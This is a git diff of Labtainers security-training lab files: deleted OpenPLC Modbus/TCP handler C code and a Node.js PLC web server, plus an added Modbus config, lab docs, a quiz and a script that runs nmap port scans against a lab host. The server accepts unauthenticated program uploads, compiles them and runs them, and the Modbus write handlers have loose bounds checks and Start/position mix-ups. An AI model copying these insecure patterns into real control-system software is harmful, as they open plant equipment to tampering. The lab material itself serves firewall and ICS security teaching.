* 2] = highByte(*int_output[position]); - buffer[10 + i * 2] = lowByte(*int_output[position]); - } - else - { - buffer[ 9 + i * 2] = 0; - buffer[10 + i * 2] = 0; - } - } - //accessing memory - //16-bit registers - else if (position >= MIN_16B_RANGE && position <= MAX_16B_RANGE) - { - if (int_memory[position - MIN_16B_RANGE] != NULL) - { - buffer[ 9 + i * 2] = highByte(*int_memory[position - MIN_16B_RANGE]); - buffer[10 + i * 2] = lowByte(*int_memory[position - MIN_16B_RANGE]); - } - else - { - buffer[ 9 + i * 2] = 0; - buffer[10 + i * 2] = 0; - } - } - //32-bit registers - else if (position >= MIN_32B_RANGE && position <= MAX_32B_RANGE) - { - if (dint_memory[(position - MIN_32B_RANGE)/2] != NULL) - { - if ((position - MIN_32B_RANGE) % 2 == 0) //first word - { - uint16_t tempValue = (uint16_t)(*dint_memory[(position - MIN_32B_RANGE)/2] >> 16); - buffer[ 9 + i * 2] = highByte(tempValue); - buffer[10 + i * 2] = lowByte(tempValue); - } - else //second word - { - uint16_t tempValue = (uint16_t)(*dint_memory[(position - MIN_32B_RANGE)/2] & 0xffff); - buffer[ 9 + i * 2] = highByte(tempValue); - buffer[10 + i * 2] = lowByte(tempValue); - } - } - else - { - buffer[ 9 + i * 2] = mb_holding_regs[position]; - buffer[10 + i * 2] = mb_holding_regs[position]; - } - } - //64-bit registers - else if (position >= MIN_64B_RANGE && position <= MAX_64B_RANGE) - { - if (lint_memory[(position - MIN_64B_RANGE)/4] != NULL) - { - if ((position - MIN_64B_RANGE) % 4 == 0) //first word - { - uint16_t tempValue = (uint16_t)(*lint_memory[(position - MIN_64B_RANGE)/4] >> 48); - buffer[ 9 + i * 2] = highByte(tempValue); - buffer[10 + i * 2] = lowByte(tempValue); - } - else if ((position - MIN_64B_RANGE) % 4 == 1)//second word - { - uint16_t tempValue = (uint16_t)((*lint_memory[(position - MIN_64B_RANGE)/4] >> 32) & 0xffff); - buffer[ 9 + i * 2] = highByte(tempValue); - buffer[10 + i * 2] = lowByte(tempValue); - } - else if ((position - MIN_64B_RANGE) % 4 == 2)//third word - { - uint16_t tempValue = (uint16_t)((*lint_memory[(position - MIN_64B_RANGE)/4] >> 16) & 0xffff); - buffer[ 9 + i * 2] = highByte(tempValue); - buffer[10 + i * 2] = lowByte(tempValue); - } - else if ((position - MIN_64B_RANGE) % 4 == 3)//fourth word - { - uint16_t tempValue = (uint16_t)(*lint_memory[(position - MIN_64B_RANGE)/4] & 0xffff); - buffer[ 9 + i * 2] = highByte(tempValue); - buffer[10 + i * 2] = lowByte(tempValue); - } - } - else - { - buffer[ 9 + i * 2] = mb_holding_regs[position]; - buffer[10 + i * 2] = mb_holding_regs[position]; - } - } - //invalid address - else - { - mb_error = ERR_ILLEGAL_DATA_ADDRESS; - } - } - pthread_mutex_unlock(&bufferLock); - - if (mb_error != ERR_NONE) - { - ModbusError(buffer, mb_error); - } - else - { - MessageLength = ByteDataLength + 9; - } -} - -//----------------------------------------------------------------------------- -// Implementation of Modbus/TCP Read Input Registers -//----------------------------------------------------------------------------- -void ReadInputRegisters(unsigned char *buffer, int bufferSize) -{ - int Start, WordDataLength, ByteDataLength; - int mb_error = ERR_NONE; - - //this request must have at least 12 bytes. If it doesn't, it's a corrupted message - if (bufferSize < 12) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - Start = word(buffer[8],buffer[9]); - WordDataLength = word(buffer[10],buffer[11]); - ByteDataLength = WordDataLength * 2; - - //asked for too many registers - if (ByteDataLength > 255) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_ADDRESS); - return; - } - - //preparing response - buffer[4] = highByte(ByteDataLength + 3); - buffer[5] = lowByte(ByteDataLength + 3); //Number of bytes after this one - buffer[8] = ByteDataLength; //Number of bytes of data - - pthread_mutex_lock(&bufferLock); - for(int i = 0; i < WordDataLength; i++) - { - int position = Start + i; - if (position < MAX_INP_REGS) - { - if (int_input[position] != NULL) - { - buffer[ 9 + i * 2] = highByte(*int_input[position]); - buffer[10 + i * 2] = lowByte(*int_input[position]); - } - else - { - buffer[ 9 + i * 2] = 0; - buffer[10 + i * 2] = 0; - } - } - else //invalid address - { - mb_error = ERR_ILLEGAL_DATA_ADDRESS; - } - } - pthread_mutex_unlock(&bufferLock); - - if (mb_error != ERR_NONE) - { - ModbusError(buffer, mb_error); - } - else - { - MessageLength = ByteDataLength + 9; - } -} - -//----------------------------------------------------------------------------- -// Implementation of Modbus/TCP Write Coil -//----------------------------------------------------------------------------- -void WriteCoil(unsigned char *buffer, int bufferSize) -{ - int Start; - int mb_error = ERR_NONE; - - //this request must have at least 12 bytes. If it doesn't, it's a corrupted message - if (bufferSize < 12) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - Start = word(buffer[8], buffer[9]); - - if (Start < MAX_COILS) - { - unsigned char value; - if (word(buffer[10], buffer[11]) > 0) - { - value = 1; - } - else - { - value = 0; - } - - //Labtainer parameterization - syslog(LOG_INFO | LOG_USER, "WriteCoil -- address: %x value: %x", buffer[9], value); - - pthread_mutex_lock(&bufferLock); - if (bool_output[Start/8][Start%8] != NULL) - { - *bool_output[Start/8][Start%8] = value; - } - pthread_mutex_unlock(&bufferLock); - } - - else //invalid address - { - mb_error = ERR_ILLEGAL_DATA_ADDRESS; - } - - if (mb_error != ERR_NONE) - { - ModbusError(buffer, mb_error); - } - else - { - buffer[4] = 0; - buffer[5] = 6; //Number of bytes after this one. - MessageLength = 12; - } -} - -//----------------------------------------------------------------------------- -// Implementation of Modbus/TCP Write Holding Register -//----------------------------------------------------------------------------- -void WriteRegister(unsigned char *buffer, int bufferSize) -{ - int Start; - int mb_error = ERR_NONE; - - //this request must have at least 12 bytes. If it doesn't, it's a corrupted message - if (bufferSize < 12) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - Start = word(buffer[8],buffer[9]); - - pthread_mutex_lock(&bufferLock); - //analog outputs - if (Start <= MIN_16B_RANGE) - { - if (int_output[Start] != NULL) - { - *int_output[Start] = word(buffer[10],buffer[11]); - } - } - //accessing memory - //16-bit registers - else if (Start >= MIN_16B_RANGE && Start <= MAX_16B_RANGE) - { - if (int_memory[Start - MIN_16B_RANGE] != NULL) - { - *int_memory[Start - MIN_16B_RANGE] = word(buffer[10],buffer[11]); - } - } - //32-bit registers - else if (Start >= MIN_32B_RANGE && Start <= MAX_32B_RANGE) - { - if (dint_memory[(Start - MIN_32B_RANGE)/2] != NULL) - { - uint32_t tempValue = (uint32_t)word(buffer[10],buffer[11]); - - if ((Start - MIN_32B_RANGE) % 2 == 0) //first word - { - *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] & 0x0000ffff; - *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] | (tempValue << 16); - } - else //second word - { - *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] & 0xffff0000; - *dint_memory[(Start - MIN_32B_RANGE) / 2] = *dint_memory[(Start - MIN_32B_RANGE) / 2] | tempValue; - } - } - else - { - mb_holding_regs[Start] = word(buffer[10],buffer[11]); - } - } - //64-bit registers - else if (Start >= MIN_64B_RANGE && Start <= MAX_64B_RANGE) - { - if (lint_memory[(Start - MIN_64B_RANGE)/4] != NULL) - { - uint64_t tempValue = (uint64_t)word(buffer[10],buffer[11]); - - if ((Start - MIN_64B_RANGE) % 4 == 0) //first word - { - *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0x0000ffffffffffff; - *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 48); - } - else if ((Start - MIN_64B_RANGE) % 4 == 1) //second word - { - *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffff0000ffffffff; - *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 32); - } - else if ((Start - MIN_64B_RANGE) % 4 == 2) //third word - { - *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffffffff0000ffff; - *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | (tempValue << 16); - } - else if ((Start - MIN_64B_RANGE) % 4 == 3) //fourth word - { - *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] & 0xffffffffffff0000; - *lint_memory[(Start - MIN_64B_RANGE) / 4] = *lint_memory[(Start - MIN_64B_RANGE) / 4] | tempValue; - } - } - else - { - mb_holding_regs[Start] = word(buffer[10],buffer[11]); - } - } - else //invalid address - { - mb_error = ERR_ILLEGAL_DATA_ADDRESS; - } - pthread_mutex_unlock(&bufferLock); - - if (mb_error != ERR_NONE) - { - ModbusError(buffer, mb_error); - } - else - { - buffer[4] = 0; - buffer[5] = 6; //Number of bytes after this one. - MessageLength = 12; - } -} - -//----------------------------------------------------------------------------- -// Implementation of Modbus/TCP Write Multiple Coils -//----------------------------------------------------------------------------- -void WriteMultipleCoils(unsigned char *buffer, int bufferSize) -{ - int Start, ByteDataLength, CoilDataLength; - int mb_error = ERR_NONE; - - //this request must have at least 12 bytes. If it doesn't, it's a corrupted message - if (bufferSize < 12) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - Start = word(buffer[8],buffer[9]); - CoilDataLength = word(buffer[10],buffer[11]); - ByteDataLength = CoilDataLength / 8; - if(ByteDataLength * 8 < CoilDataLength) ByteDataLength++; - - //this request must have all the bytes it wants to write. If it doesn't, it's a corrupted message - if ( (bufferSize < (13 + ByteDataLength)) || (buffer[12] != ByteDataLength) ) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - //preparing response - buffer[4] = 0; - buffer[5] = 6; //Number of bytes after this one. - - pthread_mutex_lock(&bufferLock); - for(int i = 0; i < ByteDataLength ; i++) - { - for(int j = 0; j < 8; j++) - { - int position = Start + i * 8 + j; - if (position < MAX_COILS) - { - if (bool_output[position/8][position%8] != NULL) *bool_output[position/8][position%8] = bitRead(buffer[13 + i], j); - } - else //invalid address - { - mb_error = ERR_ILLEGAL_DATA_ADDRESS; - } - } - } - pthread_mutex_unlock(&bufferLock); - - if (mb_error != ERR_NONE) - { - ModbusError(buffer, mb_error); - } - else - { - MessageLength = 12; - } -} - -//----------------------------------------------------------------------------- -// Implementation of Modbus/TCP Write Multiple Registers -//----------------------------------------------------------------------------- -void WriteMultipleRegisters(unsigned char *buffer, int bufferSize) -{ - int Start, WordDataLength, ByteDataLength; - int mb_error = ERR_NONE; - - //this request must have at least 12 bytes. If it doesn't, it's a corrupted message - if (bufferSize < 12) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - Start = word(buffer[8],buffer[9]); - WordDataLength = word(buffer[10],buffer[11]); - ByteDataLength = WordDataLength * 2; - - //this request must have all the bytes it wants to write. If it doesn't, it's a corrupted message - if ( (bufferSize < (13 + ByteDataLength)) || (buffer[12] != ByteDataLength) ) - { - ModbusError(buffer, ERR_ILLEGAL_DATA_VALUE); - return; - } - - //preparing response - buffer[4] = 0; - buffer[5] = 6; //Number of bytes after this one. - - pthread_mutex_lock(&bufferLock); - for(int i = 0; i < WordDataLength; i++) - { - int position = Start + i; - //analog outputs - if (position <= MIN_16B_RANGE) - { - if (int_output[position] != NULL) *int_output[position] = word(buffer[13 + i * 2], buffer[14 + i * 2]); - } - //accessing memory - //16-bit registers - else if (position >= MIN_16B_RANGE && position <= MAX_16B_RANGE) - { - if (int_memory[position - MIN_16B_RANGE] != NULL) *int_memory[position - MIN_16B_RANGE] = word(buffer[13 + i * 2], buffer[14 + i * 2]); - } - //32-bit registers - else if (position >= MIN_32B_RANGE && position <= MAX_32B_RANGE) - { - if (dint_memory[(Start - MIN_32B_RANGE)/2] != NULL) - { - uint32_t tempValue = (uint32_t)word(buffer[13 + i * 2], buffer[14 + i * 2]); - - if ((position - MIN_32B_RANGE) % 2 == 0) //first word - { - *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] & 0x0000ffff; - *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] | (tempValue << 16); - } - else //second word - { - *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] & 0xffff0000; - *dint_memory[(position - MIN_32B_RANGE) / 2] = *dint_memory[(position - MIN_32B_RANGE) / 2] | tempValue; - } - } - else - { - mb_holding_regs[position] = word(buffer[13 + i * 2], buffer[14 + i * 2]); - } - } - //64-bit registers - else if (position >= MIN_64B_RANGE && position <= MAX_64B_RANGE) - { - if (lint_memory[(position - MIN_64B_RANGE)/4] != NULL) - { - uint64_t tempValue = (uint64_t)word(buffer[13 + i * 2], buffer[14 + i * 2]); - - if ((position - MIN_64B_RANGE) % 4 == 0) //first word - { - *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0x0000ffffffffffff; - *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 48); - } - else if ((Start - MIN_64B_RANGE) % 4 == 1) //second word - { - *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffff0000ffffffff; - *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 32); - } - else if ((Start - MIN_64B_RANGE) % 4 == 2) //third word - { - *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffffffff0000ffff; - *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | (tempValue << 16); - } - else if ((Start - MIN_64B_RANGE) % 4 == 3) //fourth word - { - *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] & 0xffffffffffff0000; - *lint_memory[(position - MIN_64B_RANGE) / 4] = *lint_memory[(position - MIN_64B_RANGE) / 4] | tempValue; - } - } - else - { - mb_holding_regs[Start] = word(buffer[10],buffer[11]); - } - } - else //invalid address - { - mb_error = ERR_ILLEGAL_DATA_ADDRESS; - } - } - pthread_mutex_unlock(&bufferLock); - - if (mb_error != ERR_NONE) - { - ModbusError(buffer, mb_error); - } - else - { - MessageLength = 12; - } -} - -//----------------------------------------------------------------------------- -// This function must parse and process the client request and write back the -// response for it. The return value is the size of the response message in -// bytes. -//----------------------------------------------------------------------------- -int processModbusMessage(unsigned char *buffer, int bufferSize) -{ - MessageLength = 0; - - //check if the message is long enough - if (bufferSize < 8) - { - ModbusError(buffer, ERR_ILLEGAL_FUNCTION); - } - - //****************** Read Coils ********************** - else if(buffer[7] == MB_FC_READ_COILS) - { - ReadCoils(buffer, bufferSize); - } - - //*************** Read Discrete Inputs *************** - else if(buffer[7] == MB_FC_READ_INPUTS) - { - ReadDiscreteInputs(buffer, bufferSize); - } - - //****************** Read Holding Registers ****************** - else if(buffer[7] == MB_FC_READ_HOLDING_REGISTERS) - { - ReadHoldingRegisters(buffer, bufferSize); - } - - //****************** Read Input Registers ****************** - else if(buffer[7] == MB_FC_READ_INPUT_REGISTERS) - { - ReadInputRegisters(buffer, bufferSize); - } - - //****************** Write Coil ********************** - else if(buffer[7] == MB_FC_WRITE_COIL) - { - - //Labtainer parameterization - syslog(LOG_INFO | LOG_USER, "WRITE_COIL... UniqueID"); - - WriteCoil(buffer, bufferSize); - } - - //****************** Write Register ****************** - else if(buffer[7] == MB_FC_WRITE_REGISTER) - { - WriteRegister(buffer, bufferSize); - } - - //****************** Write Multiple Coils ********************** - else if(buffer[7] == MB_FC_WRITE_MULTIPLE_COILS) - { - WriteMultipleCoils(buffer, bufferSize); - } - - //****************** Write Multiple Registers ****************** - else if(buffer[7] == MB_FC_WRITE_MULTIPLE_REGISTERS) - { - WriteMultipleRegisters(buffer, bufferSize); - } - - //****************** Function Code Error ****************** - else - { - ModbusError(buffer, ERR_ILLEGAL_FUNCTION); - } - - return MessageLength; -} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/server.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/server.js deleted file mode 100644 index c24cb4812..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/sbin/OpenPLC_v2x/server.js +++ /dev/null @@ -1,476 +0,0 @@ -var express = require("express"); -var multer = require('multer'); -var app = express(); -var upload = multer({ dest: './st_files/'}); -var spawn = require('child_process').spawn; -var plcLog = ''; - -var openplc = spawn('./core/openplc'); -openplc.stdout.on('data', function(data) -{ - plcLog += data; - plcLog += '\r\n'; -}); -openplc.stderr.on('data', function(data) -{ - plcLog += data; - plcLog += '\r\n'; -}); -openplc.on('close', function(code) -{ - plcLog += 'OpenPLC application terminated\r\n'; -}); - -var plcRunning = true; -var compilationOutput = ''; -var compilationEnded = false; -var compilationSuccess = false; -var uploadedFileName = ''; -var uploadedFilePath = ''; - -app.use(multer({ dest: './st_files/', - rename: function (fieldname, filename) - { - return filename; - }, - onFileUploadStart: function (file) - { - console.log(file.originalname + ' is starting ...'); - }, - onFileUploadComplete: function (file) - { - uploadedFileName = file.originalname; - uploadedFilePath = file.path; - } -})); - -app.get('/',function(req,res) -{ - showMainPage(req,res); -}); - -app.get('/run',function(req,res) -{ - if (plcRunning == false) - { - console.log('Starting OpenPLC Software... UniqueID'); - plcLog = 'Starting OpenPLC Application...\r\n'; - openplc = spawn('./core/openplc'); - openplc.stdout.on('data', function(data) - { - plcLog += data; - plcLog += '\r\n'; - }); - openplc.stderr.on('data', function(data) - { - plcLog += data; - plcLog += '\r\n'; - }); - openplc.on('close', function(code) - { - plcLog += 'OpenPLC application terminated\r\n'; - }); - - plcRunning = true; - } - - var htmlString = '\ - \ - \ -
\ - \ -
\ - '; - - res.send(htmlString); -}); - -app.get('/stop',function(req,res) -{ - if (plcRunning == true) - { - console.log('Stopping OpenPLC Software... UniqueID'); - openplc.kill('SIGTERM'); - plcRunning = false; - } - - var htmlString = '\ - \ - \ -
\ - \ -
\ - '; - - res.send(htmlString); -}); - -app.post('/api/upload',function(req,res) -{ - console.log('Uploading file ... UniqueID'); - upload(req,res,function(err) - { - if(err) - { - return res.end("Error uploading file."); - } - - var htmlString = '\ - \ - \ -
\ - \ -
\ - '; - - res.send(htmlString); - - console.log(uploadedFileName + ' uploaded to ' + uploadedFilePath); - console.log('finishing old program...'); - openplc.kill('SIGTERM'); - plcRunning = false; - compilationOutput = ''; - compilationEnded = false; - compilationSuccess = false; - compileProgram(uploadedFileName); - }); -}); - -app.post('/api/changeModbusCfg',function(req,res) -{ - upload(req,res,function(err) - { - if(err) - { - return res.end("Error uploading file."); - } - - var htmlString = '\ - \ - \ -
\ - \ - \ - \ -
\ - \ -

OpenPLC Server

\ -


Modbus configuration file uploaded

\ - \ - '; - - res.send(htmlString); - - var mover = spawn('mv', ['-f', './st_files/' + uploadedFileName, './core/mbconfig.cfg']); - mover.on('close', function(code) - { - if (code != 0) - { - console.log('error moving modbus config file'); - } - }); - var copier = spawn('cp', ['-f', './core/mbconfig.cfg', './']); - copier.on('close', function(code) - { - if (code != 0) - { - console.log('error copying modbus config file'); - } - }); - }); -}); - -app.listen(8080,function() -{ - console.log("Working on port 8080 UniqueID"); -}); - -app.get('/viewLogs',function(req,res) -{ - var htmlString = '\ - \ - \ -
\ - \ - \ - \ -
\ - \ - \ -

OpenPLC Server

\ -
\ -

'; - htmlString += plcLog; - htmlString += '\ -

\ -
\ - \ - '; - - htmlString = htmlString.replace(/(?:\r\n|\r|\n)/g, '
'); - res.send(htmlString); -}); - -app.get('/uploadStatus',function(req,res) -{ - var htmlString = '\ - \ - \ -
'; - if (!compilationEnded) - { - htmlString += ''; - } - htmlString += '\ - \ - \ -
\ - \ - \ -

OpenPLC Server

\ -


'; - if (compilationEnded) - { - if (compilationSuccess) - { - htmlString += 'Program compiled without errors!

'; - } - else - { - htmlString += 'Error compiling program. Please check console log.

'; - } - } - else - { - htmlString += 'Uploading program...

'; - } - htmlString += '\ -
\ -

'; - htmlString += compilationOutput; - htmlString += '\ -

\ -
\ - \ - '; - - htmlString = htmlString.replace(/(?:\r\n|\r|\n)/g, '
'); - res.send(htmlString); -}); - -function showMainPage(req,res) -{ - var htmlString = '\ - \ - \ -
\ - \ - \ -
\ - \ - \ -

OpenPLC Server

\ -

Labtainerized UniqueID

'; - if (plcRunning == true) - { - htmlString += '


Current PLC Status: Running

'; - } - else - { - htmlString += '


Current PLC Status: Stopped

'; - } - htmlString += '\ -
\ -
\ - \ - \ -
\ -
\ -
\ - \ -
\ -


\ -

Change PLC Program

\ -
\ -
\ -
\ - \ - \ -
\ -
\ -


\ -

Change Modbus Master Configuration

\ -

Changing this only have effect if OpenPLC is using the Modbus Master Driver

\ -
\ -
\ -
\ - \ - \ -
\ -
\ - \ - '; - - res.send(htmlString); -} - -function compileProgram(fileName) -{ - console.log('compiling new program...'); - compilationOutput += 'compiling new program...\r\n'; - var compiler = spawn('./iec2c', ['./st_files/' + fileName]); - - compiler.stdout.on('data', function(data) - { - console.log('' + data); - compilationOutput += data; - compilationOutput += '\r\n'; - }); - compiler.stderr.on('data', function(data) - { - console.log('' + data); - compilationOutput += data; - compilationOutput += '\r\n'; - }); - compiler.on('close', function(code) - { - if (code != 0) - { - console.log('Error compiling program. Please check console log'); - compilationOutput += 'Error compiling program. Please check console log\r\n'; - compilationEnded = true; - } - else - { - console.log('Program compiled successfully'); - compilationOutput += 'Program compiled successfully\r\n'; - moveFiles(); - } - }); -} - -function moveFiles() -{ - console.log('moving files...'); - compilationOutput += 'moving files...\r\n'; - var copier = spawn('mv', ['-f', 'POUS.c', 'POUS.h', 'LOCATED_VARIABLES.h', 'VARIABLES.csv', 'Config0.c', 'Config0.h', 'Res0.c', './core/']); - copier.on('close', function(code) - { - if (code != 0) - { - console.log('error moving files'); - compilationOutput += 'error moving files\r\n'; - compilationEnded = true; - } - else - { - compileOpenPLC(); - } - }); -} - -function compileOpenPLC() -{ - console.log('compiling OpenPLC...'); - compilationOutput += 'compiling OpenPLC...\r\n'; - - var exec = require('child_process').exec; - exec('./build_core.sh', function(error, stdout, stderr) - { - console.log('stdout: ' + stdout); - console.log('stderr: ' + stderr); - compilationOutput += stdout + '\r\n'; - compilationOutput += stderr + '\r\n'; - if (error !== null) - { - console.log('exec error: ' + error); - console.log('error compiling OpenPLC. Please check your program'); - compilationOutput += 'exec error: ' + error + '\r\n'; - compilationOutput += 'error compiling OpenPLC. Please check your program\r\n'; - } - else - { - console.log('compiled without errors'); - compilationOutput += 'compiled without errors\r\n'; - console.log('Starting OpenPLC Software...'); - plcLog = 'Starting OpenPLC Application...\r\n'; - openplc = spawn('./core/openplc'); - openplc.stdout.on('data', function(data) - { - plcLog += data; - plcLog += '\r\n'; - }); - openplc.stderr.on('data', function(data) - { - plcLog += data; - plcLog += '\r\n'; - }); - openplc.on('close', function(code) - { - plcLog += 'OpenPLC application terminated\r\n'; - }); - - plcRunning = true; - compilationSuccess = true; - } - compilationEnded = true; - }); -} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/tmp/mbconfig.cfg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/tmp/mbconfig.cfg new file mode 100644 index 000000000..fd95b56ba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/tmp/mbconfig.cfg @@ -0,0 +1,26 @@ +Num_Devices = "1" +Polling_Period = "100" +Timeout = "1000" +# ------------ +# DEVICE 0 +# ------------ +device0.name = "myserver" +device0.slave_id = "0" +device0.protocol = "TCP" +device0.address = "172.29.0.5" +device0.IP_Port = "502" +device0.RTU_Baud_Rate = "115200" +device0.RTU_Parity = "None" +device0.RTU_Data_Bits = "8" +device0.RTU_Stop_Bits = "1" + +device0.Discrete_Inputs_Start = "0" +device0.Discrete_Inputs_Size = "2" +device0.Coils_Start = "0" +device0.Coils_Size = "1" +device0.Input_Registers_Start = "0" +device0.Input_Registers_Size = "0" +device0.Holding_Registers_Read_Start = "0" +device0.Holding_Registers_Read_Size = "0" +device0.Holding_Registers_Start = "0" +device0.Holding_Registers_Size = "0" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/tmp/openplc.db b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/tmp/openplc.db new file mode 100644 index 000000000..d70bbf23c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/var/tmp/openplc.db differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/sys_tar/external-manifest b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/sys_tar/external-manifest deleted file mode 100644 index 93b11992e..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/sys_tar/external-manifest +++ /dev/null @@ -1 +0,0 @@ -softplc:softplc diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/Makefile new file mode 100755 index 000000000..675fdf9d1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/Makefile @@ -0,0 +1,6 @@ +iptables.pdf: iptables.docx + soffice --convert-to pdf iptables.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/iptables.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/iptables.docx new file mode 100755 index 000000000..4fc19c641 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/iptables.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/iptables.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/iptables.pdf new file mode 100644 index 000000000..aa1957257 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/iptables.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/read_first.txt new file mode 100755 index 000000000..4fb3c65b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/iptables.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/prestop new file mode 100755 index 000000000..230ee0e79 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_bin/prestop @@ -0,0 +1,3 @@ +#!/bin/bash +nmap -n 172.25.0.3 +nmap -n 172.25.0.3 -p WIZ_PORT diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/sbin/faux_init deleted file mode 100755 index 21cbc5490..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/client/_system/sbin/faux_init +++ /dev/null @@ -1,18 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/iptables.quiz b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/iptables.quiz new file mode 100644 index 000000000..8c862c39e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/iptables.quiz @@ -0,0 +1,7 @@ +# iptables quiz +0, Preface, "The following quiz is intended to help you determine if you are ready to perform the lab." +1, TrueFalse, "In this lab, you will configure a firewall to use malware signatures to block traffic destined for a server.", F, +"This lab will use iptables to filter network traffic destined for a server.", +"This lab will use iptables to filter network traffic destined for a server based on IP packet addresses and port numbers." +2, TrueFalse, "Packet filtering occurs within the Linux kernel based on rules defined by the iptables program.", T, "", "" +3, TrueFalse, "The nmap utility can be used to find open ports on a network connection.", T, "","" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/keywords.txt 